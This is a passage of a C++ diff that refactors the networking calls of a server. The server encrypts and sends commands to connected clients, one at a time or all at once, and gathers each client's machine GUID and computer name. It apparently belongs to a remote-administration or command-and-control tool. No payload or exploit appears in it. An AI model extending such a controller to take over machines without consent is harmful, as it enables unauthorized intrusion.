LGCrypto::RSAEncrypt(Serialization::SerializeStruct(CreateKeepAlivePacket()), client->ClientPublicKey, FALSE); - NetCommon::SetSocketTimeout(client->GetSocket(), ReadConfig().keepAliveTimeoutMs, SO_SNDTIMEO); - BOOL sent = NetCommon::TransmitData(encryptedOriginal, client->GetSocket(), TCP); - NetCommon::ResetSocketTimeout(client->GetSocket(), SO_SNDTIMEO); + m_NetworkManager.SetSocketTimeout(client->GetSocket(), ReadConfig().keepAliveTimeoutMs, SO_SNDTIMEO); + BOOL sent = m_NetworkManager.TransmitData(encryptedOriginal, client->GetSocket(), TCP); + m_NetworkManager.ResetSocketTimeout(client->GetSocket(), SO_SNDTIMEO); if ( !sent ) { std::cout << "Error sending keep-alive packet. Removing client..." << std::endl; RemoveClientFromServer(client); @@ -426,7 +423,7 @@ void ServerInterface::SendKeepAlivePackets(long cuid) { client->KeepAliveProcess = TRUE; - int timePassedMs = 0; + unsigned int timePassedMs = 0; // sleep for timeout // while keep alive process is in progress @@ -475,7 +472,7 @@ void ServerInterface::TCPReceiveMessagesFromClient(long cuid) { BYTESTRING decrypted; ClientRequest request; - BOOL received = NetCommon::ReceiveData(encrypted, client->GetSocket(), TCP); + BOOL received = m_NetworkManager.ReceiveData(encrypted, client->GetSocket(), TCP); if ( !received ) continue; @@ -656,12 +653,12 @@ void ServerInterface::RunUserInputOnClients() { try { if ( (lClientID = std::stol(clientID)) == 0 ) globalCommand = TRUE; - } catch ( std::invalid_argument& err ) { + } catch ( std::invalid_argument ) { std::cout << "Input Error; Invalid input." << std::endl; system("pause"); system("cls"); continue; - } catch ( std::out_of_range& err ) { + } catch ( std::out_of_range ) { std::cout << "Input Error; Number too large" << std::endl; system("pause"); system("cls"); @@ -715,12 +712,12 @@ void ServerInterface::RunUserInputOnClients() { if ( !globalCommand ) { BYTESTRING encrypted = LGCrypto::RSAEncrypt(serialized, client->ClientPublicKey, FALSE); - sent = NetCommon::TransmitData(encrypted, client->GetSocket(), TCP); + sent = m_NetworkManager.TransmitData(encrypted, client->GetSocket(), TCP); } else { this->m_ClientListMutex.lock(); for ( auto& [ cuid, host ] : this->m_ClientList ) { BYTESTRING encrypted = LGCrypto::RSAEncrypt(serialized, host.ClientPublicKey, FALSE); - sent = NetCommon::TransmitData(encrypted, host.GetSocket(), TCP); + sent = m_NetworkManager.TransmitData(encrypted, host.GetSocket(), TCP); } this->m_ClientListMutex.unlock(); } @@ -748,7 +745,7 @@ BOOL ServerInterface::GetClientMachineGUID(long cuid) { std::cout << "receiving machine guid\n"; BYTESTRING machienGUID; - BOOL received = NetCommon::ReceiveData(machienGUID, client->GetSocket(), TCP); + BOOL received = m_NetworkManager.ReceiveData(machienGUID, client->GetSocket(), TCP); if ( !received ) return FALSE; @@ -769,7 +766,7 @@ BOOL ServerInterface::GetClientComputerName(long cuid) { Client* client = GetClientPtr(cuid); BYTESTRING computerNameSerialized; - BOOL received = NetCommon::ReceiveData(computerNameSerialized, client->GetSocket(), TCP); + BOOL received = m_NetworkManager.ReceiveData(computerNameSerialized, client->GetSocket(), TCP); if ( !received ) return FALSE; @@ -790,9 +787,6 @@ BOOL ServerInterface::GetClientComputerName(long cuid) { */ Server ServerInterface::NewServerInstance(SocketTypes serverType, int port) { Server server = {}; - - if ( !NetCommon::WSAInitialized ) - NetCommon::LoadWSAFunctions(); // create socket for server type // update server fields @@ -885,9 +879,9 @@ ClientResponse ServerInterface::WaitForClientResponse(long cuid) { BYTESTRING decrypted; ClientResponse response; - NetCommon::SetSocketTimeout(client->GetSocket(), 10000, SO_RCVTIMEO); - received = NetCommon::ReceiveData(encrypted, client->GetSocket(), TCP); - NetCommon::ResetSocketTimeout(client->GetSocket(), SO_RCVTIMEO); + m_NetworkManager.SetSocketTimeout(client->GetSocket(), 10000, SO_RCVTIMEO); + received = m_NetworkManager.ReceiveData(encrypted, client->GetSocket(), TCP); + m_NetworkManager.ResetSocketTimeout(client->GetSocket(), SO_RCVTIMEO); if ( WSAGetLastError() == WSAETIMEDOUT ) { response.responseCode = ClientResponseCode::kTimeout; @@ -966,7 +960,7 @@ ClientResponse ServerInterface::PingClient(long cuid) { pingCommand.buffLen = 0; std::cout << "Pinging " << client->GetDesktopName() << " with " << sizeof(pingCommand) << " bytes of data." << std::endl; - BOOL sent = NetCommon::TransmitData(pingCommand, client->GetSocket(), TCP, NetCommon::_default, TRUE, client->ClientPublicKey, FALSE); + BOOL sent = m_NetworkManager.TransmitData(pingCommand, client->GetSocket(), TCP, NULL_ADDR, true, client->ClientPublicKey, false); if ( !sent ) return {};